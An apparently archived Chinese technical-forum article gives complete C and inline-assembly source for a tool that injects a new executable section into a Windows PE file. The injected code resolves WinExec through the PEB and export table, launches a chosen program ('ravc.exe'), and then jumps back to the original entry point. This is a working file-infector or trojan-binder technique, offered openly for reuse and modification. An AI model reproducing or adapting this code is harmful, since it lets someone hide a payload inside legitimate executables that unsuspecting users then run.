| 网站首页 | 下载中心 | 产品展示 | 技术文章 | 请您留言 | 技术论坛 | VIP专区 | 
您现在的位置: 南域剑盟 >> 技术文章 >> Visual C文章 >> 文献正文 用户登录 新用户注册
专 题 栏 目
最 新 热 门
最 新 推 荐
相 关 文 章
简单实现可执行文件的自
PE 添加新节执行指定程序           ★★★
PE 添加新节执行指定程序
PE 添加新节执行指定程序
作者:佚名 文章来源:网络 点击数: 更新时间:2008-7-14 0:19:14
/********************************************************************
author:  Hanker98
purpose: 增加一个新节用于C盘的程序
被执行程序可以在 windows 或system32 和被修改程序的目录都可以运行成功
*********************************************************************/
#include <windows.h>
#include <winnt.h>
#include <stdio.h>
#include <assert.h>


#define DEBUG    1
#define EXTRA_CODE_LENGTH 18
#define SECTION_SIZE  0x1000
#define SECTION_NAME  ".hhkr"
#define FILE_NAME_LENGTH 30


int Align(int size, int ALIGN_BASE)
{
int ret;
int result;

assert( 0 != ALIGN_BASE );

result = size % ALIGN_BASE;
if (0 != result)
{
  ret = ((size / ALIGN_BASE) + 1) * ALIGN_BASE;
}
else
{
  ret = size;
}

return ret;
}

void hellp()
{
printf("用法:\n");
printf("peexe.exe FileName\n");
printf("eg: \n");
printf("\peexe.exe test.exe\n");
printf("Coded by:Hanker98\n");
}



int main(int argc, char *argv[])
{
IMAGE_DOS_HEADER DosHeader;
IMAGE_NT_HEADERS NtHeader;
IMAGE_SECTION_HEADER SectionHeader;
IMAGE_SECTION_HEADER newSectionHeader;
int numOfSections;
FILE *pNewFile;
int FILE_ALIGN_MENT;
int SECTION_ALIGN_MENT;
char srcFileName[FILE_NAME_LENGTH];
char newFileName[FILE_NAME_LENGTH];
int i;
int extraLengthAfterAlign;
unsigned int newEP;
unsigned int oldEP;
BYTE jmp;
char *pExtra_data;
int extra_data_real_length;



if (NULL == argv[1])
{
  puts("参数错误~~~\n");
  hellp();
  exit(0);
}
strcpy(srcFileName, argv[1]);
strcpy(newFileName, srcFileName);
strcat(newFileName, ".exe");

if (!CopyFile(srcFileName, newFileName, FALSE))
{
  puts("Copy file failed");
  exit(0);
}

pNewFile = fopen(newFileName, "rb+");
if (NULL == pNewFile)
{
  puts("Open file failed");
  exit(0);
}


fseek(pNewFile, 0, SEEK_SET);

fread(&DosHeader, sizeof(IMAGE_DOS_HEADER), 1, pNewFile);
if (DosHeader.e_magic != IMAGE_DOS_SIGNATURE)
{
  puts("Not a valid PE file");
  exit(0);
}


fseek(pNewFile, DosHeader.e_lfanew, SEEK_SET);
fread(&NtHeader, sizeof(IMAGE_NT_HEADERS), 1, pNewFile);
if (NtHeader.Signature != IMAGE_NT_SIGNATURE)
{
  puts("Not a valid PE file");
  exit(0);
}


numOfSections = NtHeader.FileHeader.NumberOfSections;
FILE_ALIGN_MENT = NtHeader.OptionalHeader.FileAlignment;
SECTION_ALIGN_MENT = NtHeader.OptionalHeader.SectionAlignment;

oldEP = NtHeader.OptionalHeader.AddressOfEntryPoint;

for (i = 0; i < numOfSections; i++)
{
  fread(&SectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pNewFile);
}


extraLengthAfterAlign = Align(EXTRA_CODE_LENGTH, FILE_ALIGN_MENT);
NtHeader.FileHeader.NumberOfSections++;

memset(&newSectionHeader, 0, sizeof(IMAGE_SECTION_HEADER));

strncpy((char*)newSectionHeader.Name, SECTION_NAME, strlen(SECTION_NAME));


newSectionHeader.VirtualAddress = Align(SectionHeader.VirtualAddress + SectionHeader.Misc.VirtualSize,
  SECTION_ALIGN_MENT);

newSectionHeader.Misc.VirtualSize = Align(extraLengthAfterAlign, SECTION_ALIGN_MENT);

newSectionHeader.PointerToRawData = Align
  (
  SectionHeader.PointerToRawData + SectionHeader.SizeOfRawData,
  FILE_ALIGN_MENT
  );

newSectionHeader.SizeOfRawData = Align(SECTION_SIZE, FILE_ALIGN_MENT);

newSectionHeader.Characteristics = 0xE0000020;

NtHeader.OptionalHeader.SizeOfCode = Align(NtHeader.OptionalHeader.SizeOfCode + SECTION_SIZE, FILE_ALIGN_MENT); //修正SizeOfCode
NtHeader.OptionalHeader.SizeOfImage = NtHeader.OptionalHeader.SizeOfImage
    + Align(SECTION_SIZE, SECTION_ALIGN_MENT);

NtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
NtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;



fseek(pNewFile, 0, SEEK_END);
newEP = newSectionHeader.VirtualAddress;
NtHeader.OptionalHeader.AddressOfEntryPoint = newEP;

fseek(
  pNewFile,
  DosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS)
  + numOfSections * sizeof(IMAGE_SECTION_HEADER),
  SEEK_SET
  );
fwrite(&newSectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pNewFile);


fseek(pNewFile, DosHeader.e_lfanew, SEEK_SET);
fwrite(&NtHeader, sizeof(IMAGE_NT_HEADERS), 1, pNewFile);


fseek(pNewFile, 0, SEEK_END);

for (i=0; i<Align(SECTION_SIZE, FILE_ALIGN_MENT); i++)
{
  fputc(0, pNewFile);
}

fseek(pNewFile, newSectionHeader.PointerToRawData, SEEK_SET);
goto GetExtraData;


extra_data_start:   
    __asm
    {
        push ebp;
        sub  esp, 0x40;
        mov  ebp,esp;

        push ebp;
            mov eax, fs:0x30           
            mov eax, [eax + 0x0c]       
            mov esi, [eax + 0x1c]       
            lodsd               
            mov edi, [eax + 0x08]       
           
            mov        eax, [edi+3Ch]           
            mov        edx,[edi+eax+78h]
            add        edx,edi                   
            mov        ecx,[edx+18h]               
                    mov        ebx,[edx+20h]                
            add        ebx,edi                                           
search:
            dec        ecx
            mov        esi,[ebx+ecx*4]               
            add        esi,edi                       
            ;GetProcAddress
            mov            eax,0x50746547
            cmp            [esi],    eax;   
            jne        search
            mov            eax,0x41636f72
            cmp            [esi+4],eax;   
            jne        search               
           
               
                    mov        ebx,[edx+24h]
            add        ebx,edi               
            mov        cx,[ebx+ecx*2]           
                    mov        ebx,[edx+1Ch]
            add        ebx,edi               
            mov        eax,[ebx+ecx*4]           
            add        eax,edi               


            mov    [ebp+40h], eax           
       
            push dword ptr 0x00636578
            push dword ptr 0x456E6957
            push esp
            push edi
            call [ebp+40h]
            mov  [ebp+4],  eax
            push 0
call EXEC;   
        _emit 'r';       
        _emit 'a';
        _emit 'v';
        _emit 'c';       
        _emit '.';
        _emit 'e';
        _emit 'x';
        _emit 'e';
        _emit '\0';     //运行程序的 名字,   

EXEC:
        pop edi;   
        push edi;
        call [ebp+4] ; 调用 WinExec("ravc.exe")
        add esp, 0x40;
        pop ebp;
       
            }
extra_data_end:

GetExtraData:
    _asm
    {
    pushad;
    lea eax, extra_data_start;
    mov pExtra_data, eax;
    lea edx, extra_data_end;
    sub edx, eax;
    mov extra_data_real_length, edx;
    popad;
        }

for (i = 0; i < extra_data_real_length; i++)
{
  fputc(pExtra_data[i], pNewFile);
}

oldEP = oldEP - (newEP + extra_data_real_length) - 5;
jmp = 0xE9;
fwrite(&jmp, sizeof(jmp), 1, pNewFile);
fwrite(&oldEP, sizeof(oldEP), 1, pNewFile);

fclose(pNewFile);

return 0;
}




代码来自网络+自己的思路和意图修改后的产物 所以此代码没有版权的限制
可以随意的修改增减,如果你修改了 感觉比此代码功能好的话 希望你也能贴出代码来 让大家学学~~~~~~~~~~ 
文献录入:admin    责任编辑:admin 
  • 上一篇文献:

  • 下一篇文献:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)